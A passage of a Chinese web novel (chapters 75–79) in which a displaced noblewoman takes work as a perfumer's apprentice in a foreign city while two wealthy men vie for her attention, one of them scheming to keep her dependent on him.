用罢晚饭,江念回了自家小院,打了凉水,简单擦洗了一番,把小屋床榻上的被褥摊开,胡乱应付了一夜。
这一夜江念睡得并不舒坦,因铺褥太薄,木板太硬,硌得她全身酸楚难耐,动哪儿哪儿疼。
因要出门理事,她给自己穿了一件圆领紧口素色常服,梳了一个简单的辫子,随手往脑后一绾,再从包袱中拿出一面铜镜并一个多彩小方盒,这是她托秋月从铺子里买的脂粉。
女人用棉扑将茶色的脂粉按压上脸,原本一张白腻腻的粉脸瞬间暗黄下来,然后对镜看了看,觉着还行,最后将露出来的颈脖也涂抹了。
一切准备妥当后出了院门,她告诉自己,江念,从前的家已然回不了,现在的你要拼命地在夷越活下去……
第75章 为生计发愁
徽城是夷越第二大都城,街面同京都一样繁华,人烟热闹。
江念不仅要买生活用品,预备在街上转一转,看看有没有适合她做的营生,身上银钱所剩不多,需得找个活计,想不到有一日她会为了生计发愁。
结果转了一圈,一颗愁扰的心更加沉重,做吃食倒是稳赚不赔,可一来她没那份手艺,二来她吃不了那个苦。
做手工罢,同样的,她没那本事。
眼下她能想到的就是调制香料,从前她同王庭的香工学过一段时间,却也是个半吊子,同真正的制香师比不得。
一路看下来,越看心越凉,希望越渺茫,罢了,先不想这些,把生活器物买了才是要紧。
江念按照清单上的物件,一样一样买下来,经过一家铺子时,看了眼店外的木质水牌,上面写着两个大字,招贤,觅一名调香师。
江念想了想,将手里的器物放到店门首,进到店里。
店伙计见进来一异国女子,忙迎了上去:“这位阿姑,要买什么香?”
江念转头四顾,快速打量了一眼店内的环境,店铺装陈的奢华贵气,花团锦簇,香料售卖的区和宾客休息的区以珠帘分开,珠帘后隐有人影,应是买香的客人。
“小哥儿,我找你们掌柜的,我来应制香师。”
店伙计愣了一愣,一个异国人应制香师?江念见店伙计迟疑,没有丝毫脸红胆怯,反笑看着他,一副胸有成竹的样子。
“您稍候,我叫掌柜的来。”
“劳烦小哥儿。”江念谢过。
店伙计请江念坐下,转身去了后面,不到一会儿,一位中年男子走出来。
“你要应香料师?”男人问道。
“是。”江念笑答。
中年男人看了眼面前的女子,五官倒是整齐,就是皮肤太过暗沉,此女不知是打哪来的,看着既不像梁人,也不像夷越人,多半是周边部落的。
掌柜点点头:“随我来罢。”
江念随中年男子往里走去,在一张檀木方桌边落座。
“从前在哪里高就?做了多久?会调制哪些香?”中年男子一连三问,语调听起来随意,一双眼却锐利地盯着江念。
江念也不慌,她没什么可慌的,因为她不会调香,所以她也不打算说谎,不说谎的人怎会慌呢。
“掌柜的,我从前没单独制过香,有关调香的知识只浅浅学过一些。”
中年男人没料到这女子倒是坦诚,他虽欣赏她这一点,却没法给她通融,他只是老板请来代管这家店的主事。
“你既不能制香,恕小店没法聘用,请罢。”
江念扬了扬下巴,嘴角带笑:“掌柜的先别急着拒绝,我并非来应制香师,而是来应制香学徒的。”
“制香学徒?”
“是,你们招制香师的月钱是多少,在我这里只需一半,况且我也并非普通的制香学徒。”江念声音清甜,不疾不徐地说着。
掌柜见此女语调清亮舒缓,不知不觉被牵动,很愿意听她说下去。
“哦?怎么个不普通?既然是学徒,还有区别不成?”掌柜故意拿她的话反问,想看看她要怎么回答。
江念指了指自己,扬唇一笑:“因为我比别人更有天赋。”
掌柜大失所望,他以为她会说什么,心里还生出一丝丝期待,原来是个夜郎自大的。
“依我看,这位阿姑还是去……”
江念不待男人把话说完,向另一个方向招了招手:“小哥儿,烦你拿几盒香膏过来。”
店伙计看向掌柜,掌柜点了点头,伙计便从柜架上取了三盒香料放到托盘里,端到二人面前。
香料盒从外看去小小的,十分精美,其中两个盒身以彩漆描着当下时兴的纹路,另一个香盒为双层,外层雕镂菱花纹,里层用来装香脂。
“可开盖么?”江念问道。
“给客人试用的,可开。”他要看看这女子能玩出什么新巧,耽误了他半晌的工夫,若不能让他满意,他就把她轰出去。
江念打开其中一盒,凝目看去,半透明膏脂状,接着放在鼻下轻晃几下,启口道:“麝香、合欢花、螺子黛、蟾酥,可是这些?”
一语毕,掌柜面色大变,直起腰板,将那香盒拿回看了一眼,没错,此香名夜合欢,以麝香二钱,合欢花三两,螺子黛一匙,蟾酥一滴而制。
“试试这个。”掌柜将那双层香盒推到江念面前,神情不再敷衍。
江念打开香盒盖,放鼻下一晃,沉吟片刻,又嗅了一道,开口道:“似是有龙涎、朱砂、雪莲……”女人锁着眉,摇了摇头,“还有一样,我没闻出来。”
掌柜朗声大笑,欢喜得手脚没处放:“还有一味无根水,不怪你闻不出来。”他可是捡到宝了,这女子嗅觉如此灵敏,当真是万万中无一例,情急之下一拍桌案“你留下!不过……因你没有制香经验,制香师月钱二两,我只能给你开一两,如何?”
江念本是抱着试一试的心态,没想到能成功,当下就应了,一两银子的月钱已经比普通人高出许多,同掌柜打过招呼,次日来上工。
回到桂花院,江念把买回的生活用品归置,再将屋院里里外外重新收拾一番,也有了个大概样子,这些事情她做起来还算顺手,除了一样,便是烧火做饭。
女人头一次入灶房,灶火生了半晌也没生起来,好不容易生起火,又不知该怎样下菜,下米。
“哟!这哪儿来的黑烟。”情姑捂着鼻子,院子烟熏缭绕。
情姑的汉子万年指了指隔壁:“你看是不是念妹子家的。”
情姑张望一眼,慌地叫了一声哎哟,急忙出了自家院子敲隔壁的院门。
好在院门没锁一推便开了,门一开,院子里哪儿哪儿都是烟。
“妹子?妹子……咳咳……”情姑叫了两声,又是一阵咳嗽。
第76章 潮湿的舒香
情姑叫了两声不见回应,心头暗道不好,觑眼中,灶房里烟正浓,便要过去。
“你别去,我去。”万年将他女人拦住,直奔灶房。
不一会儿,两个人影一前一后出来,直到出了院门才敢大口喘气。
“灶火熄了么?”情姑问她男人。
万年抹了把脸,点点头。
这烟子起得快,风一来散得也快,只是空气里仍有烟糊味。
“嫂子,你放心,若有烧坏的地方,我赔付。”江念坐在歪脖子树下的石阶上,有气无力地说着,一副生无可恋的模样。
“噗嗤——”情姑忍不住笑起来,她实在没法不笑,江念那脸上,黑一块白一块,一张小脸只有眼睛最亮,活像个逃荒来的,都这样了,还信誓旦旦地说要赔她钱。
“你先把自己的脸好好清洗一下罢,比我家小柴头还乌糟。”
就这么的,情姑留江念在自家吃了饭,又细细教她如何生火,如何烧饭。
江念向来自诩聪慧,不论看书还是看戏文,只要看过一遍,就能记下大概,可在灶房里却格外痴笨。
是夜,江念依旧打了井水抬到屋里擦洗身子,白日忙碌了一天,身上难免有汗味,再加上烟熏火燎了一阵,很是黏腻难受。
夷越白日暄暖,早晚还是有些寒凉,再加上井水凉浸,激得皮肤起了一层细小的疙瘩。
盥沐毕,她换上一套干净宽松的中长衫和撒脚裤,将睡房收拾一番,再支开窗户敞湿气。
女人嘴里哼着小曲儿,将小澡盆端到院外,用力一泼,然后返回院中,就势闩上院门往屋里走去,才走几步,“笃笃——”院门被敲响。
江念心里一突,莫名有些紧张,紧张中又有些说不上来的期盼,她也不知自己在期盼什么,也许她知道,只是不想承认罢了。
“谁?”女人的声音并不舒展。
院门外安静了一会儿,响起一个不算陌生的声音:“阿念,是我。”
期盼的心有一些回落,江念前去开院门,门开处,正是刚回不久的安努尔。
“我才回,听家中下人说你搬出来了。”
两人之间只隔一道门槛,他能闻到她身上潮湿的舒香,那气息从她温热的身体散发,透过干爽的薄棉衫,混着未干的水珠,一团又一团。
江念还没谢他替自己寻这样一方小院,侧过身:“安大哥,你进来坐。”
安努尔颔首迈进院中,江念不将院门关闭,就那么大大地敞着,又回到屋里端了茶出来,另点了几盏灯让小院更通亮。
“安大哥,你坐呀,我给你倒茶。”江念将托盘放在院中的四方小桌上。
安努尔落座于竹椅上,不着痕迹地四顾打量一眼,笑道:“住着可还好?”
江念回笑道:“再没有不好的了。”
“我让你缓几日,待我回来让人把院子好好收拾一番,你再来住,你就等不及了。”安努尔拿起茶杯,轻呷了一口。
江念可不会说,我忙不迭地搬出来是因为差点死在你这狠人手上,换谁能住着安心。
“早几日晚几日的都一样,我自己能收捡得过来。”江念坐到男人的对面。
安努尔点点头,眼微微一眯:“真决定了?就这么孤身一人在外过活?夷越虽然对女人规束不那么严苛,可女子独身在外还是不易的,依我看,阿念不如还是回……”
江念赶紧打住他的话头,再让他说下去,大有让她回安宅的趋势。
“我找了一份活计,生计方面不愁了。”
安努尔一听倒是有几分吃惊:“什么营生?莫要被人诓骗了。”
江念抿着嘴儿笑,想了想说道:“现下还不能说,待事情稳妥再告诉你。”
她还不想说,主要担心自己胜任不了,没的让人看笑话。
安努尔端起茶盏,杯沿后是女子明艳的笑,似是被感染,他的唇角也带上了笑。
“既是这样,那我也不勉强你,对了,给你带了一个人来。”安努尔侧头朝外叫了一声,“进来。”
一个人影走进院中,走到江念跟前,施礼道:“婢子过来照顾阿姑。”
来人长挑身材,正是曾在她身边伺候过的秋月。
“安大哥,这……我如今用不上丫鬟……”江念说道,不是用不上,而是用不起。
安努尔笑道:“你留下她,她在这里也是做活,在安宅也是做活,我家中不少她一个丫头,到你这里可帮你烧水做饭,你身边少不得需要一个人伺候。”
江念还待再拒,男人却道:“不必推辞,时候不早了,我回了。”
说罢起身离开,江念将他送出院门。
有了秋月,江念再也不用寒凉的井水擦洗身子,一回小院就有现成的热水,秋月知她喜洁还特意到街市寻了一个半人高的浴桶,专门用来给她沐身。
次日,江念去了香料铺子,掌柜的让一名唤老巴的调香老师傅带她。
做人徒弟的,说白了,就是给人当孙子,那些戏文里的师父认了一个极有天赋的徒弟,从而倾囊相授的事是不存在的。
她每每向老巴询问有关调香知识时,老巴要么闭口不答,要么顾左右而言他,就是隔靴搔痒,不说关要处。
江念算是看明白了,所幸不再开口发问,只默默从旁观看,遇到不懂的就自己琢磨,再不然拿一些废料自己实际操作,如此一来,反倒让她学到的更多,更深刻。
再加上她是有些基础的,像沉香需“理香”剔除杂质,檀香需陈化去燥气这些她都明了,还有“君臣佐使”她亦通晓。
之前在王庭,只要一清闲下来,她便向王庭的香工讨教,从中收获不少。
王庭制香的原料又多,在这一点上呼延吉倒还好,从不拘着她,晚间她给他读几页书,就甩手不读了,转而去调玩香料,他看见了也不说什么,拿起书自己看。
不过他会蹙眉问她:“你学这劳什子做什么?”
她不答话,只是笑,谁知道呢,她就是喜欢,不论人还是物,她的喜欢向来莫名其妙,不需要任何理由。
渐渐的,江念可单独调制一些不同质地的简易香料,这并非什么难事,如今市面上流通的香品就那几样,什么龙涎香、合欢香、帐中香,左不过这些被世人熟知的香。
闲暇之时,或在店中或回小院,她会另花时间研制香品,一心想要调制一款独一无二的香品。
彼边……
安宅外院的书房内,火奴和山奴两人垂手侍立于书桌边,大气不敢出,额上沁出豆大的汗珠,周边的空气比往日更沉。
男人架坐于桌后,套着戒环的手,不耐烦地叩着桌面,一下又一下。
他虽派了一个丫头在她身边看顾,却起不到太大作用,况她又寻了一个营生,如此一来,只怕更不好掌控,看来得上点手段了……
第77章 枕上风月
安努尔架坐于书桌后,身体靠着椅背,手指不耐烦地叩着桌案。
当初那女子央涣他,替她在外寻一处小屋,他轻易应了下来,料准她一异国女子在徽城难以生存,用不了多久便会找上他,诉苦困境,他可再次施舍恩情,让她回安宅。
如此一来,既抵消了她的顾虑又让她看清现实。
这女子之于他来说,谈不上多喜爱,那夜她差一点死在他的手里,他后来对她的解释是,以为房中进了贼人,这才下了狠手。
事实并非如此,他知道沐房藏匿着一个女人,这女人并非什么贼人,而是他母亲安排的。
他一清二楚,对他来说贼不贼人的无所谓,最后都是死人。
直到他锢住女人的脚腕,手下的柔嫩让他心底起了一丝异样,他突然起了性,松开了她,然后他看见了她的样子,头脸湿漉漉地挂着水,缩靠在墙角,红着眼眶警惕地盯着他。
这一瞬他改口了,难得花心思撒了谎,带着一点轻哄的意味,好让她对他放下警惕。
安努尔喜欢看她恨瞪着眼的样子,好像下一刻就要张牙舞爪地扑咬他,她越这样,他越想逗弄,
他起了闲闲的兴趣,这么些年了,死水般的生活终于有了波动。
好不容易出现这么个有趣的小东西,他不想她离他太远。
山奴见自家大爷有烦心事,趁机开口道:“爷,石儿爷才差人来,说他们去了香荷院,邀您过去呢。”
这香荷院是徽城第一青楼,里面的伶人无论才艺还是样貌皆是一流。
安努尔扫开心头烦绪,重新更衣,带着两个小厮往香荷院去了,还未走进包厢,远远便听到房内传来聒耳的歌舞声和男男女女的嬉闹声。
安努尔刚一落座,两个清俊小倌儿围了来,其中一人时年十六,面貌净柔,是安努尔在香荷院蓄养的伶人,对外不接客,只有安努尔来了才露面。
那小倌给安努尔满上酒,双手递到他的嘴边,喂于他喝。
男人没像往常那样,就着他的双手喝下杯中酒,而是往后微仰,示意小倌儿将酒放下,小倌儿知道这位爷心情必是不太好,于是乖乖将酒放于案上,老老实实伺候。
“兄长这一向在做什么?叫了几次,几次都不赏脸。”石儿禄说道。
“倒没什么,才从外城归来,在家中休养了一段时日。”安努尔拿起酒盏仰头灌下。
这时,华兴楼的少东家,松赞,过来敬酒,今儿本是他置办的酒席,因他有一桩买卖求于安努尔,怕自己请不出人,便让石儿禄出面,好在人是请来了,就是心情不大畅快的样子。
松赞先是看了一眼安努尔,接着又看了眼旁边的石儿禄,石儿禄回了他一个眼色,松赞从小倌儿手里接过酒壶,亲自给安努尔满上一盏酒,又替自己满上。
“兄长知道我的,不想承继我老子的酒楼,也想自己搞点营生,前些时候从南边进了些小玩意儿,可否搭在你的铺子里卖?”
安努尔问道:“进的什么?”
“都是女人用的一些胭脂水粉。”
安努尔想了想,点头道:“倒是有几家铺子可以放,你那货品如何?”
松赞一听有戏,拍着胸脯道:“别的不敢说,货绝对是顶级好货,连几个上姓之家的女眷也用这个,我花了好大的工夫才从京都那边拿来的。”男人继续给安努尔斟酒,“这样顶好的货品放到普通店铺卖不上价儿,这才想着借兄长的铺子出售。”
安家的店铺在徽城名气大,店中物样的价格也高。
“兄长放心,卖出的利润我……”
松赞话未说完,就被安努尔截断:“不必同我说,你差人到南街的四季轩,找那里的管事,同他谈妥便可,就说此事我已知晓。”
交情归交情,生意归生意。
松赞巴不得一声儿,连连应下,于是又朝安努尔敬酒,安努尔心中本就搁了事,有酒便喝,喝到最后,有了酒意。
“我见兄长似有心事,不如说来咱们开解开解。”松赞殷勤道。
安努尔思索片刻,他过了近十年的荒唐生活,虽然只是面上同那些小倌儿们胡闹厮混,实际并未有过枕上风月,但到底有些不像样。
这些浪名,他本不在意,男人嘛,哪怕再滥情,只要其他方面成功,别人只会论他风流,说不得什么。
所以他并不在意风月场上的花名儿,然而现在却有些不痛不痒的难受。
当然了,他不觉得这种难言的劲儿因那女人而起,只不过是想过回正常的生活,恰巧这女人出现了。
一边的石儿禄见安努尔眼中愁思不明,眉锁难解,不防备地问了一声儿:“兄长不会是为情所困罢?”
这一问连他自己也觉着不太可能,却见安努尔回看向他,不置一词。
在场几人无不惊异道:“真是为情所困?哪家的?!”
前些时候不是还为安老夫人给他安排房中人而生恼么?
石儿禄脑中一个光闪,问道:“不会就是才安排的那位罢?”
此时众人已有了七八分酒意,齐齐看向安努尔。
安努尔摆了摆手,哪肯轻易说自己的私事。
他们这些人心底对安努尔还是敬畏的,不敢闹太过,见他不愿说,便散开了,继续观赏歌舞。
男人又吃了几盏酒,同几人打过招呼,起身离开,几人留他不住。
出了香荷院,此时已是深更,街上人烟寂静,山奴和火奴牵马从暗影里出来。男人翻身上马,火奴在前面牵马,山奴随在马侧。
安努尔揉了揉额,呼出酒气,勒停马:“你过来,我吩咐一件事情,速速去办。”
山奴忙将耳朵递过去,听了主人的吩咐,应诺离开。
“爷,咱们现在回去还是……”火奴回头问道。
男人眼中哪还有醉意,以鞭指向一个方向:“去桂花巷……”
江念肩上笼着一件长衫,倚靠在床头,屋里只点着一根细烛,散着黄黯黯的光,临窗的桂叶蘸着月色低映在窗纱上。
从她失踪到如今已过去了大半个月,呼延吉就算在定州,应该也收到她失踪的消息了,不知道他在得知后是什么反应,应该会焦急罢。
江念摇了摇头,觉得自己过虑了,她在他眼中就是个笑话。
至于给江家报仇,就算没有她,呼延吉攻打大梁也是迟早的事,有她没她都是一样,她在这中间没有任何存在的价值。
正想着,院子里突然传来“砰——”的一声响,声音来得太过突然,吓得她霍地坐起,掀帘朝外喊了一声:“谁?!”没有回音,屏息侧耳去听,只有一片安静。
是不是院子里的东西被风吹倒了,女人重系衣衫,下榻趿鞋,擎着细烛走到窗前,将纱窗启出一条缝往外张望,看了一圈,原来是院中晾晒香料的架子倒了。
于是推开门,走到院中的木架边,将细烛放下,双手支扶木架,就在她弯腰的一瞬,影子旁边又生出一个影儿,有头有身子,那影儿颤颤抖着。
江念就那么保持着佝偻的姿势,浑身窜冷汗,她的鼻尖嗅到陌生的气息,带着酸臭的汗液味,在她往前窜出的同时回过头,倒吸一口凉气,随之叫喊出声。
那里站着一个男人,红着眼看着她,露出一脸的淫邪,男人非但没被她的叫声吓跑,反倒快速向她逼近。
直到万年的声音从隔壁传来:“妹子,没事罢?”
江念再看时,男人破门逃走了。
“没事,万大哥。”嘴里虽这样说着,仍心有余悸。
她在院中站了一会儿,忽觉身上有些冷,刚准备转身回屋,“笃,笃——”院门又被敲响。
江念心里一紧,呼吸变得有些困难,可也就是一瞬,她的眼睛在院中快速一扫,走到香料架旁,抄起一根圆木棍,蹑着步子走到院门后,一手擎着木棍,一手缓缓抽开门闩。
院门从外被推开,门开处,闪进一个人影儿,江念看准时候,铆足力气,双手持棍朝那人兜头敲下……
第78章 浅浅风情眼
那人抬臂去挡,“嘭——”木棍挥打在骨肉之上,接着木棍断成两截掉落,那人一个转身,江念惊呼出声。
“安阿兄?”
安努尔笑了笑:“阿念就这样不待见我?”
江念忙将他迎至院中,火奴和山奴两个小厮则立在门首。
“安阿兄有没有伤到?”江念瞥了眼地上断成两截的木棍,心中过意不去。
男人挑了挑眉毛,笑道:“我要说没伤到,你转头就把今晚这一棍给忘了,为了让你记得久一点,我还是说伤到比较好。”
“噗嗤——”江念撑不住,吃吃笑起来。
安努尔认真看着她,缓缓说道:“这样算扯平了,不生气了罢?”
“什么?”江念才一问出口就明白了他的意思,是说上次他将她摁在水里的事,“何曾生过气,只有感激你呢。”
“就是太客气了,太生分了。”
江念微笑着,闻到他身上的酒气,让他稍坐,自己起身去屋里端出茶托。
“安阿兄这个时候来,没有热茶了,将就着喝点凉茶。”
“我给你的丫头呢,怎么不出来伺候?”
“她已睡下了,白日我上工,她把家里好一番收拾,这院子里缺短什么都是她操心置办的,来来回回没歇过脚,夜里让她好好休息。”
安努尔笑看着她,忽然又问:“怎么抱着棍子躲在门后,见人就打,是不是出了什么事?”
江念便把刚才闹贼的事说了。
男人沉吟半晌,说道:“那人没得逞,又知你这里的位置,定是将你的情况摸清楚了,知道这家无男人照看,只怕以后还会来,依我看,不如你随我回安宅。”
江念想了想,摇头道:“那也不是办法,我今晚没有防备,待我准备准备,再碰上,指不定谁怕谁。”
安努尔一怔,在女人面上端相,问道:“你……不害怕?”
“谈不上怕,就是吓到了,我又不惧他,只是那贼人可恶,出现得太突然,我没防备受了些惊。”江念抿下一口凉茶,“待我准备准备,他若再来,让他有进无退。”
女人嘴里说着狠话,腔调中透着俏蛮,兴是她的眼睛太过澈亮,安努尔的心毫无防备地一跳,缓缓敛下眼皮。
这女人像一朵向阳花,迎着光,向着太阳。
明明那么弱小的一人儿,却能外放大力量,就是很自然地让人感受到,这类人是中心、是发光体,让人忍不住去接近。
待他转眼看她时,她正抿嘴笑看着他,一双眼弯成新月。
“怎么了?”安努尔问道。
江念正了面色,说道:“安阿兄,先是我心底对你多少有些埋怨,现在我理解了,从前对你有所误解。”
安努尔愣了一下,莫名地紧张,生怕她错看他,听信了外面的传言:“误解什么了?”
“就是你将我当成贼人,摁我在水里,你没做错。”江念确实听了一些有关安努尔的传言,多年来安老夫人为喜好男风的儿子操碎了心,在他不知情的情况下,往他房中塞人。
她又躲在沐室那种隐蔽的地方,非奸即盗。
安努尔张了张嘴,第一次觉得自己口舌夯拙,想要替自己辩解却不知从何处辩起:“夜深了,你休息罢。”
不待江念相送,安努尔已大步出了院门,走得很是匆忙,这就叫自作孽不可活罢,他的博浪之名在外,不知道她会怎么想?
次日,秋月伺候江念起身,见她眼下有些发青,关心道:“阿姑昨夜没睡好?”
江念觉得有必要提醒一下她,便将昨夜的事情说了出来。
秋月一听,眼中露出惊恐:“这可怎么办,要不报官?”
“报官没用,那人已经跑了,光凭我们嘴巴说,官府只怕难有作为,那些个小吏也不可能专守在咱们家。”
只有犯下大罪的人,官府才会下海捕文书,这人虽然夜闯私宅,她却没实证。
“这可如何是好?”秋月问道。
“放心,我已有计较。”
吃罢早饭,江念去了香料铺子,因她如今在铺子做活,每日迎来送往的都是官商家的女眷,她自己的外貌不能太砢碜,便不再用脂粉糊脸。
因昨夜家中进贼,江念思索了一夜,她一个女人真要同莽汉对上,指定敌不过,于是想了一个办法,参照旧书里的法子,试着调制迷香粉。
正在捣弄时,店伙计急走进来,说道:“阿念,店里来了客人,你帮我端茶上去,我去后面请掌柜的来。”
“行,你去罢,我来招呼。”江念放下手里的香料,重新净手。
松赞昨夜得了安努尔的话,今日便找了来,正巧石儿禄无事,叫上他一起,一来石儿禄同安努尔走得近,二来石儿禄能言善道。
两人坐下没一会儿,有人上茶来,石儿禄一抬眼就呆愣在那里,心摇目荡不止。
这女人……不会错的!他儿时见过的那位贵女,不知在他梦里出现过多少回。
“二位郎君请用茶。”江念将茶摆好,收起茶托。
松赞见石儿禄面色有异,循着他的目光看去,这才注意到江念,当下也是有些出乎意料。
“还看!人已经走了。”松赞说道。
石儿禄像是没听见似的,把脖子探的老长,松赞无奈地摇了摇头。
不一会儿店掌柜来了,因是东家的朋友又是华兴楼的少东家,所以格外客气。
然后两人就铺放胭脂水粉的事宜相互商量。
石儿禄不合时宜地插进一句话:“掌柜的,那个梁女是你这里的店工?”
掌柜看向石儿禄,这石儿家是徽城最大的珠宝世家,家底比他们安家有过之而无不及,石儿禄又是家中最受宠的小郎,简直就是金银窝里长大的。
豪逞的恣性一点不输他家大爷。
突然见他凭空打听阿念,知道这是看中了,可到他心上了,替阿念生出一份可惜。
阿念在调香上很有灵性天赋,也有自己的想法,若被这位爷瞧上,转头向他们东家开口要人,收用房中,这……唉!
掌柜只得回答:“是我们店里的香工。”
一语毕,石儿禄已迈步往里间走去。
江念正垂颈专注地对照旧书调制迷香,总觉着有一味药料用量不太对,尽管她是按书上配制。
思索间,余光捕捉到一撇暗影,惊觉之下抬起头,就见一男子倚在屏风上,一霎不霎地看着她。
那男人高长个头,编织了满头小辫,散在脑后,贯耳配珰,左耳垂挂银月环,一双带着浅浅笑意的风情眼。
“你叫什么名字?”石儿禄问道。
江念不去理他,背过身,继续翻看书上的文字,见身后没了声音,以为人走了,回过身才发现,那男人双手环臂,仍倚在那里。
“我见过你,我知道你从前是梁国极有身份的贵女,对不对?”
江念别过脸,淡淡说道:“这位郎君认错人了。”
男人轻笑几声,不去反驳。
正巧此时松赞的声音远远叫了一声,江念趁势出了屏风,去了后院。
“把你那嘴角收一收。”松赞顺着他的眼看去,早已看不到人影儿。
石儿禄心情十分好,语调轻快:“谈好了?”
松赞点点头:“明儿直接让伙计来铺货。”
“这是好事啊!今儿我做东,在华兴楼置一桌酒,把兄长也叫上,再另外叫几人,给你道贺。”
松赞气笑,这是哪儿跟哪儿,他的货品挂在兄长的铺子售卖,怎么还叫兄长给他道贺,依他看,怕是另有目的。
是夜,华兴楼灯火辉煌,夷越没有宵禁这一说,徽城的夜生活同京都一样多彩繁华。
石儿禄端酒坐到安努尔身边,先是敬了一杯酒:“大哥,小弟有一心头好,惦记了许多年,今儿厚着脸皮向你讨一讨。”
安努尔睨了他一眼,说道:“有什么是我能弄来,你弄不来的,还巴巴求到我这里,你石儿家都快够上世族了,就是相较那些世族,你家也不比他们差什么,我倒是稀奇你求我什么。”
这时一个黑皮瘦脸的锦衣男子走了过来,此人叫羯田,是徽城府令家的公子,这府令便是一城之长,掌城中赋税、司法、治安。
男人屈腿靠在案几上,笑道:“我也稀奇你求安阿兄什么事情,说来咱们听一听。”
羯田一问,石儿禄反倒不愿开口了,倒不是怕人取笑,而是不愿太多人知晓那梁女,只想私心藏起来。
安努尔见他不说话,以为他不喜羯田,也不去追问。
羯田喝了些酒,没注意到异样,坐到二人中间,从侍人手里接过酒,自顾自喝起来,喝了几杯,说道:“听我父亲说,京都好像出了什么事,连禁卫也出动了,好似丢了什么人。”
石儿禄有些看不惯羯田,仗着自家父亲是官身,平日跟他们这些人在一起,自视甚高,什么玩意儿!
“丢了什么人?”石儿禄轻嗤一声。
羯田双颊酡红,摆了摆手:“谁知道呢。”
“伯父没收到王庭的文书?”安努尔问道。
“就这里奇怪呢,又无邸报,又无任何诏令,依我猜测……”羯田手往上指了指,“多半是上面那位不在王庭,偏这个时候出的乱子。”说着又嘟囔了几句,一头歪在旁边睡了过去。
石儿禄见羯田醉倒,满眼不屑。
安努尔亦摇了摇头:“你刚才要说什么?难得你同我开一次口,我没有不应的。”
“小弟向兄长讨要一个人……”
第79章 抱得美人归
石儿禄听安努尔这样说,心中欢喜,开口道:“今儿陪松赞去你那香料铺子,瞧上你那里的一个女香工。”
安努尔看了眼石儿禄:“就这?”
石儿禄点点头。
“你若有意,自己使出手段来,告诉我做甚,那女伙计又非卖身到我店中,我还能把她转让给你不成?”
四季轩那个香料店他一向不大管,因利润不丰,便交给店掌柜打理。
“到底是兄长店中的人,总要同你招呼一声。”
“行了,我知晓了。”安努尔见他欢从额角出,喜向腮边生,倒有些好奇,不曾见他对女人这般用心,“你这是打算换换口味,吃惯了细粮,要吃粗糠?一个女伙计也值得你这样。”
石儿禄虚空点了点手,一边伺候的侍女立时呈来果盘,男人捡了颗青果儿,丢到嘴里,眯起眼,说道:“兄长可还记得上次我说的那话,儿时我随仆从到梁国,偶然间在街上瞥见一极美的梁女子……”
男人不再往下说了,只笑看着安努尔:“你这天下哪有这般巧的事情,这便是我和她的缘分。”
梁女?安努尔听罢,端酒杯的手猛地一僵,试探着问道:“叫什么名儿?”
“这个……我问了,她没说……”
徽城里居住的梁国人不算多,又是女子,还是貌美的女子,这一样样排除下来……
她说她找了一份活计,安努尔忽然想到她院中有一个木架,当时没太注意,那上面似是晾晒的香料。
“不可!”
石儿禄嘴角仍挂着笑:“什么不可?”
“她不行。”安努尔正色说道。
石儿禄回过意来,眉眼跟着变冷,回看向安努尔:“兄长同我玩笑罢?”
安努尔不言语,一双眼又利又沉地看向石儿禄。
石儿禄恨笑两声,挥袖把桌面一掀,站起身,又一脚踢翻旁边的案几,嘴里不干不净地骂了几声,甩袖走了,桌上的酒具还有果馔洒落一地。
醉卧于地的羯田被惊醒,惺忪着醉眼,不知发生了何事,再一看,安努尔一脸铁青地坐在那里,显然气到了极点。
在场之人也不敢出声,连歌舞都歇了,一个安努尔,一个石儿禄,这两人关系一向好,在徽城势头也大,怎的今日不对盘。
……
江念的迷香制好了,分了一包给秋月,告诉她若是碰上歹人,只需掩住鼻息,对外一吹,歹人一旦吸入不出十息便倒。
“若是来了一阵风,没有吹向歹人,而是吹向自己,怎么办?”秋月问道。
江念咽下嘴里的早饭,说道:“所以让你掩住鼻息,就是这个意思。”说着以帕拭了拭嘴角,接过秋月递来的热茶,慢慢喝了两口,又交代了几句,出了院子,去往香料铺。
刚进铺子,就见掌柜的和铺子里的几个伙计垂手侍立在客间外,心下奇怪,正待发问,斜光中见珠帘内坐了一人,正在翻看账目,不是安努尔却又是谁。
“安兄长?”江念有些意外。
安努尔招了招手,让她进去,江念走进珠帘后的客间,看了眼桌面上的账本。
“安兄长是这里的东家?”
安努尔微笑着点头:“所以你之前说找到了活计,是这个么?”
江念有些不好意思,这便是默认了。
安努尔心情甚好,正待说些什么,一人撩开珠帘走了进来。
来人一身宝绿环带纹交领缺跨衫,脚踏团花锦靴,不再是一头小辫,披下来的鬈发中挑出几缕,编成几股麻花,再用银箍束着歪侧于一边,不羁且随性。
“兄长今日也来了?”石儿禄嘴角挂着笑,不待人请,自顾自坐下,身子往后一靠,又看向江念,那语调就变了,“我知道你叫什么了,阿念,对不对?”
江念记得这人,很难不记得,毫逞的恣性中透着狂意,和那个人有一点点重影。
石儿禄瞥了安努尔一眼,再次看向江念:“你看,我同你们东家是好友呢,你不该不理我,好歹同我说两句话儿,这才是待客之道。”
江念觉着这人有趣,掩嘴儿笑起来,这一笑,如桃花上脸,淹然百媚,晃了两人的眼。
石儿禄趁势道:“明日我带你去郊外玩,你一定没见识过咱们夷越的原野河流,同你们大梁可不一样。”
“怎么不一样?”江念问道。
“这个我可描述不出来,只有亲眼见了才知晓。”
江念看了一眼安努尔,虽然她心底很好奇,可这事她说了不算,眼下她只是一个给人做活的店工,另一方面,她以什么身份去呢,总归说来,不太恰合。
“想去么?”安努尔自然看出女人脸上的希图。
“还是不去了,店里的事情没忙完。”江念婉辞。
“不差这一日半日的。”安努尔话说到这里,出游一事差不多就定下来了。
次日一大早,空气里还萦绕着如流的雾气,石儿禄叫上松赞,两人打前骑着花鬃马,身后跟了两辆华丽的马车,两驾马车里分别坐着松赞的两房妻室,马车边又簇拥着一众豪奴并美婢。
紧紧凑凑地往四季轩行去。
快到四季轩门前之时,松赞问道:“你那日怎么回事?恼着脸就走了?”
石儿禄似是没听见一般,一双眼不知在张望什么。
“同你说话呢!”松赞扒了他一下,“还有……你跟兄长怎么回事?”
正说着,就见一对男女一前一后从四季轩店门走出来,刚才还面色淡淡的石儿禄一见那女子,脸上立马露出灿笑,翻身下马,把往日的亲兄友弟丢到一边。
松赞见了,暗骂一声,也不知是谁从前说兄弟如手足,女人如衣服。
昨日,石儿禄提议出城游玩,安努尔见江念面露向往,于是决定休店一日,从宅中调了两辆马车,整个四季轩上到掌柜下到店伙计,乘车同往,好让她没那么多顾虑。
